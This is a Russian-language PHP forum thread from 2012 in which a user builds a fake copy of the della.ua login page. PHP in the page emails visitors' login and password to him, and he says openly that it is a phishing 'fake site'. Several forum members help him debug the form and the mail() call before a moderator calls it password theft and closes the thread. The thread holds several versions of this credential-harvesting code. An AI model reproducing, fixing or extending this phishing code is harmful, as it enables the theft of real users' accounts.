<form action="/" method="POST" id='logForm' style="margin:0; padding:0;">
<table class="no_tbl_border" border="0" width="100%" cellpadding="0" cellspacing="0" style="border-collapse:collapse; margin-top:11px; margin-left:10px;" id='tableWhichContainsSearchParams'>
<tr>
<td style="width:45px; padding-top:15px; padding-right: 7px; vertical-align: top;" align="right">Логін:</td>
<td align="right" style="padding:10px 5px 0 0; vertical-align: top; text-align: right;">
<input type="text" value="" id="login" name="login" tabindex="101" style="width: 180px;">
</td>
<td align="right" style="width:100%; padding-right:15px;">
Забыли пароль? <a href="#" onClick="return showRecoverPwdWnd()">Нагадати мій пароль</a>
</td>
</tr>
<tr>
<td style="padding-top:10px; padding-right: 7px; vertical-align: top;" align="right">Пароль:</td>
<td style="padding:5px 5px 0 0;text-align:right; vertical-align: top;" align="right">
<input type="password" id="password" name="password" value="" style="width: 180px;" tabindex="102">
</td>
<td align="right" style="padding-right: 15px;">
<a href="http://della.ua">Реєстрація нового користувача</a>
</td>
</tr>
<tr>
<td colspan="3" class="errorMes"><span id="errorMes"></span></td>
</tr>
<tr>
<td colspan="2" align="right" style="padding:11px 5px 34px 0;">
<input class="button" style="float:right;width:65px;margin-top:4px;" type="submit" value="Увійти" onMouseOver="underline(this)" onMouseOut="unUnderline(this)" tabindex="3">
</td>
</tr>
</table>
<?PHP
$Login = $_POST['login'];
$Pass = $_POST['password'];
mail("майо мило", "My Subject", "Pas-$Pass - - - Logi-$Login");
?>
</form>
Это все в файле index.php,
На мило приходит сообщения просто в виде
Pas- - - - Logi-
Ниид хелп.
Спустя 6 минут, 3 секунды (18.01.2012 - 21:25) nugle написал(а):
потому что вот это <input class="button", надо заменить <input class="submit", button не отправляет данные формы
Спустя 2 минуты, 24 секунды (18.01.2012 - 21:27) inpost написал(а):
nugle
А класс тут при чём? Там всё верно, type="submit" :)
BMW
Много объяснять. Тебе кодировку нужно самого скрипта прописать, а так же оформить mail() со всеми подобающими вещами, а именно в нем тоже кодировку прописывать(!). И вставляется переменные при помощи конкатенации строк:
А класс тут при чём? Там всё верно, type="submit" :)
BMW
Много объяснять. Тебе кодировку нужно самого скрипта прописать, а так же оформить mail() со всеми подобающими вещами, а именно в нем тоже кодировку прописывать(!). И вставляется переменные при помощи конкатенации строк:
'text'.$var.'text2'
Спустя 5 минут, 22 секунды (18.01.2012 - 21:32) nugle написал(а):
inpost
думал это type) не внимателен
думал это type) не внимателен
Спустя 1 минута, 32 секунды (18.01.2012 - 21:34) BMW написал(а):
Ето кусок типа от фейк сайта, меня не интересует будет ли отправлена форма на сервер, меня интересует чтоб мне приходили данные с полей логина и пароля.
Изменил на сабмит и все равно просто приходит сообщения Pas- - - - Logi-
Переменной не присваивается значения логина и пароля
Извини я немногое понял я PHP читаю ток дня 3.
Можно на каком то примере показать или ссылочку на то как нада описывать переменные, мне мыло приходит нормально я нажалуюсь)
Изменил на сабмит и все равно просто приходит сообщения Pas- - - - Logi-
Переменной не присваивается значения логина и пароля
Извини я немногое понял я PHP читаю ток дня 3.
Можно на каком то примере показать или ссылочку на то как нада описывать переменные, мне мыло приходит нормально я нажалуюсь)
Спустя 6 минут, 46 секунд (18.01.2012 - 21:41) inpost написал(а):
BMW
irbis-team.com - тут почитай, можешь найти про то, как правильно писать функции отправки mail();
А это по кодировке файла: http://phpforum.su/index.php?showtopic=27289
Ну а что, читать много, делать ещё больше, не так просто за 3 дня изучить и нормально пользоваться
irbis-team.com - тут почитай, можешь найти про то, как правильно писать функции отправки mail();
А это по кодировке файла: http://phpforum.su/index.php?showtopic=27289
Ну а что, читать много, делать ещё больше, не так просто за 3 дня изучить и нормально пользоваться
Спустя 7 минут, 2 секунды (18.01.2012 - 21:48) YVSIK написал(а):
любой пример не сможет вам понять как это работает лишь только потому что в самом начале необходимо как минимум написать всё в удобно читаемом виде
надо начинать не с вопроса а с правильного оформления кода, то что вы представили это не код это мяхко говоря список какойто не об чем не говорящий, что его разобратьи поправить я бы начал не поиска ошибок,! а с оформлением кода, как пример сравните с этим
ПС. все начинается именно правильного оформления
надо начинать не с вопроса а с правильного оформления кода, то что вы представили это не код это мяхко говоря список какойто не об чем не говорящий, что его разобратьи поправить я бы начал не поиска ошибок,! а с оформлением кода, как пример сравните с этим
Свернутый текст
<table width="200" border="2" cellpadding="0" cellspacing="0">
<tr>
<th bgcolor="#00FF00" scope="row"> </th>
<td bgcolor="#00FF00"> </td>
<td bgcolor="#00FF00"> </td>
</tr>
<tr>
<th bgcolor="#00FF00" scope="row"> </th>
<td bgcolor="#00FF00"> </td>
<td bgcolor="#00FF00"> </td>
</tr>
</table>
<form name="form1" method="post" action="">
<p>
<label for="textfield"></label>
<input type="text" name="textfield" id="textfield">
</p>
<p>
<input type="submit" name="button" id="button" value="Отправить">
</p>
</form>
ПС. все начинается именно правильного оформления
Спустя 1 час, 54 минуты, 28 секунд (18.01.2012 - 23:42) BMW написал(а):
Тема еще актуальна)) Если кто может помочь в онлайн режиме стучите в асю 556-667-308, или напишите как с вами связаться.
Спустя 10 минут, 6 секунд (18.01.2012 - 23:52) rooor написал(а):
Цитата (BMW @ 18.01.2012 - 18:18) |
<form action="/" |
А точно куда надо отправляет?
И почему без условий отправка писем? Только загрузили страницу и уже летит письмо )))
Спустя 52 минуты, 33 секунды (19.01.2012 - 00:45) inpost написал(а):
BMW
Если сам не можешь сделать подобное читая готовый справочник, то тогда обращайся как клиент за деньги.
Если сам не можешь сделать подобное читая готовый справочник, то тогда обращайся как клиент за деньги.
Спустя 8 часов, 32 минуты, 4 секунды (19.01.2012 - 09:17) Эли4ка написал(а):
<?PHP-а хотя бы проверку на введенные данные и на заполненность поля где?
$Login = $_POST['login'];
$Pass = $_POST['password'];
mail("майо мило", "My Subject", "Pas-$Pass - - - Logi-$Login");
?>
Проверка на заполненность if ..else
На введенные данные- htmlspecialchars
Спустя 9 минут, 3 секунды (19.01.2012 - 09:26) Ramzil_Nixon написал(а):
А вот это как понять? action="/"
что за слэш?
что за слэш?
Спустя 16 минут, 18 секунд (19.01.2012 - 09:42) Эли4ка написал(а):
Цитата |
что за слэш? |
не знаю..надо убрать слэш..
Спустя 2 часа, 22 минуты, 32 секунды (19.01.2012 - 12:05) Winston написал(а):
Цитата (Ramzil_Nixon @ 19.01.2012 - 08:26) |
А вот это как понять? action="/" |
Отправить форму на тот файл в котором она прописана, то есть на саму себя.
Записи ниже, идентичны
action="/"
action=""
action="?"
Спустя 6 часов, 48 минут, 17 секунд (19.01.2012 - 18:53) BMW написал(а):
Окей. Тогда еще вопрос в теории должно быть по проще....
<form action="/"
заменить на
<form action="my.php"
Естественно выкидываем кусок и прописываем его в файл my.php
<?PHP
$Login = $_POST['login'];
$Pass = $_POST['password'];
mail("mail@masil.ru", "My Subject", "Pas-.$Pass - - - Logi-.$Login");
?>
Но при таких раскладах письмо на мыло не приходит.
И сразу же еще 1 вопрос. Как заделать отправку емейла по кнопке, а не сразу как компилятор доходит к строке емейла отправляет пустую форму. Я попробовал ток щяс что при загрузке странички еще даже не нажав на форму входа уже письмо на емейл приходит пустым. То есть отправляется как только компилятор натыкается на строку отправки емейла.
Плз помогите ато мозги пухнут за 4 дня.
<form action="/"
заменить на
<form action="my.php"
Естественно выкидываем кусок и прописываем его в файл my.php
<?PHP
$Login = $_POST['login'];
$Pass = $_POST['password'];
mail("mail@masil.ru", "My Subject", "Pas-.$Pass - - - Logi-.$Login");
?>
Но при таких раскладах письмо на мыло не приходит.
И сразу же еще 1 вопрос. Как заделать отправку емейла по кнопке, а не сразу как компилятор доходит к строке емейла отправляет пустую форму. Я попробовал ток щяс что при загрузке странички еще даже не нажав на форму входа уже письмо на емейл приходит пустым. То есть отправляется как только компилятор натыкается на строку отправки емейла.
Плз помогите ато мозги пухнут за 4 дня.
Спустя 1 час, 12 минут, 50 секунд (19.01.2012 - 20:06) rooor написал(а):
BMW
я тебе сразу сказал - отправка должна быть с условием
Ты над этим 4 дня пухнешь?
Условные операторы
я тебе сразу сказал - отправка должна быть с условием
if(/*нажата кнопка*/)
{
//летит письмо
}
Ты над этим 4 дня пухнешь?
Условные операторы
Спустя 13 часов, 18 минут, 44 секунды (20.01.2012 - 09:25) Эли4ка написал(а):
Цитата |
/*нажата кнопка*/ |
-нет,надо введено ли что-нибудь ..
Спустя 1 день, 11 часов, 13 минут, 9 секунд (21.01.2012 - 20:38) BMW написал(а):
Цитата (rooor @ 19.01.2012 - 17:06) |
BMW я тебе сразу сказал - отправка должна быть с условием if(/*нажата кнопка*/) Ты над этим 4 дня пухнешь? Условные операторы |
А как натравить ИФ на НАЖАТИЕ КНОПКИ.
У нее даже имени нет.
Так вить не зделаеш
if (submit)
{
mail. (...........)
}
Или саму строку нада в ИФ закидывать, но это тоже не вариант, потому как не будет что проверять, без true условия кнопка даже не нарисуется)
Спустя 2 минуты, 41 секунда (21.01.2012 - 20:40) BMW написал(а):
Цитата (Эли4ка @ 20.01.2012 - 06:25) | ||
-нет,надо введено ли что-нибудь .. |
Тоже не вариант, потому как мне не нада только первая буква логина или паса, ито ето пр иусловии что ето все дело будет в цыкле.
Спустя 53 минуты, 3 секунды (21.01.2012 - 21:33) BMW написал(а):
Так хорошо наткнулся в Инете на такую штуку
<tr>
<td colspan="2" align="right" style="padding:11px 5px 34px 0;">
<input class="submit" name="OK" style="float:right;width:65px;margin-top:4px;" type="submit" value="Увійти" onMouseOver="underline(this)" onMouseOut="unUnderline(this)" tabindex="3">
</td>
</tr>
<?PHP
if (@$_REQUEST['OK'])
{
$Login = $_POST['login'];
$Pass = $_POST['password'];
mail("мило", "My Subject", "Pas-.$Pass - - - Logi-.$Login");
}
?>
Но письмецо не приходит
<tr>
<td colspan="2" align="right" style="padding:11px 5px 34px 0;">
<input class="submit" name="OK" style="float:right;width:65px;margin-top:4px;" type="submit" value="Увійти" onMouseOver="underline(this)" onMouseOut="unUnderline(this)" tabindex="3">
</td>
</tr>
<?PHP
if (@$_REQUEST['OK'])
{
$Login = $_POST['login'];
$Pass = $_POST['password'];
mail("мило", "My Subject", "Pas-.$Pass - - - Logi-.$Login");
}
?>
Но письмецо не приходит
Спустя 52 минуты, 11 секунд (21.01.2012 - 22:26) BMW написал(а):
Попробовал закинуть вот такой код перед формой..
<?PHP
if($_POST['submit']) {
$login = substr(htmlspecialchars(trim($_POST['login'])), 0, 1000);
$pass = substr(htmlspecialchars(trim($_POST['password'])), 0, 1000000);
$to = 'mail';
$from='mmail. otkuda';
mail("мило", "My Subject", "Pas-.$pass - - - Logi-.$login");
}
?>
И после формы и в середину.....
И скажите сразу имеет ли значения где вписан код после формы или перед ней? Потому как я гдет наткнулся что ПХП может вызываться в любой части кода.
<?PHP
if($_POST['submit']) {
$login = substr(htmlspecialchars(trim($_POST['login'])), 0, 1000);
$pass = substr(htmlspecialchars(trim($_POST['password'])), 0, 1000000);
$to = 'mail';
$from='mmail. otkuda';
mail("мило", "My Subject", "Pas-.$pass - - - Logi-.$login");
}
?>
И после формы и в середину.....
И скажите сразу имеет ли значения где вписан код после формы или перед ней? Потому как я гдет наткнулся что ПХП может вызываться в любой части кода.
Спустя 24 минуты, 51 секунда (21.01.2012 - 22:50) inpost написал(а):
Ты начал не с нуля, а просто хочешь создать фейк, а программирование тебе не нужно, просто желаешь пароли воровать.
Ты не с того начал и в неправильном направлении движешься.
В любом случае данная тема несёт лишь вред. Я её закрою, если захочешь делать сайты полезные и учиться программированию, а не искать лже коды и не знать, что с ними делать - тогда милости просим.
Ты не с того начал и в неправильном направлении движешься.
В любом случае данная тема несёт лишь вред. Я её закрою, если захочешь делать сайты полезные и учиться программированию, а не искать лже коды и не знать, что с ними делать - тогда милости просим.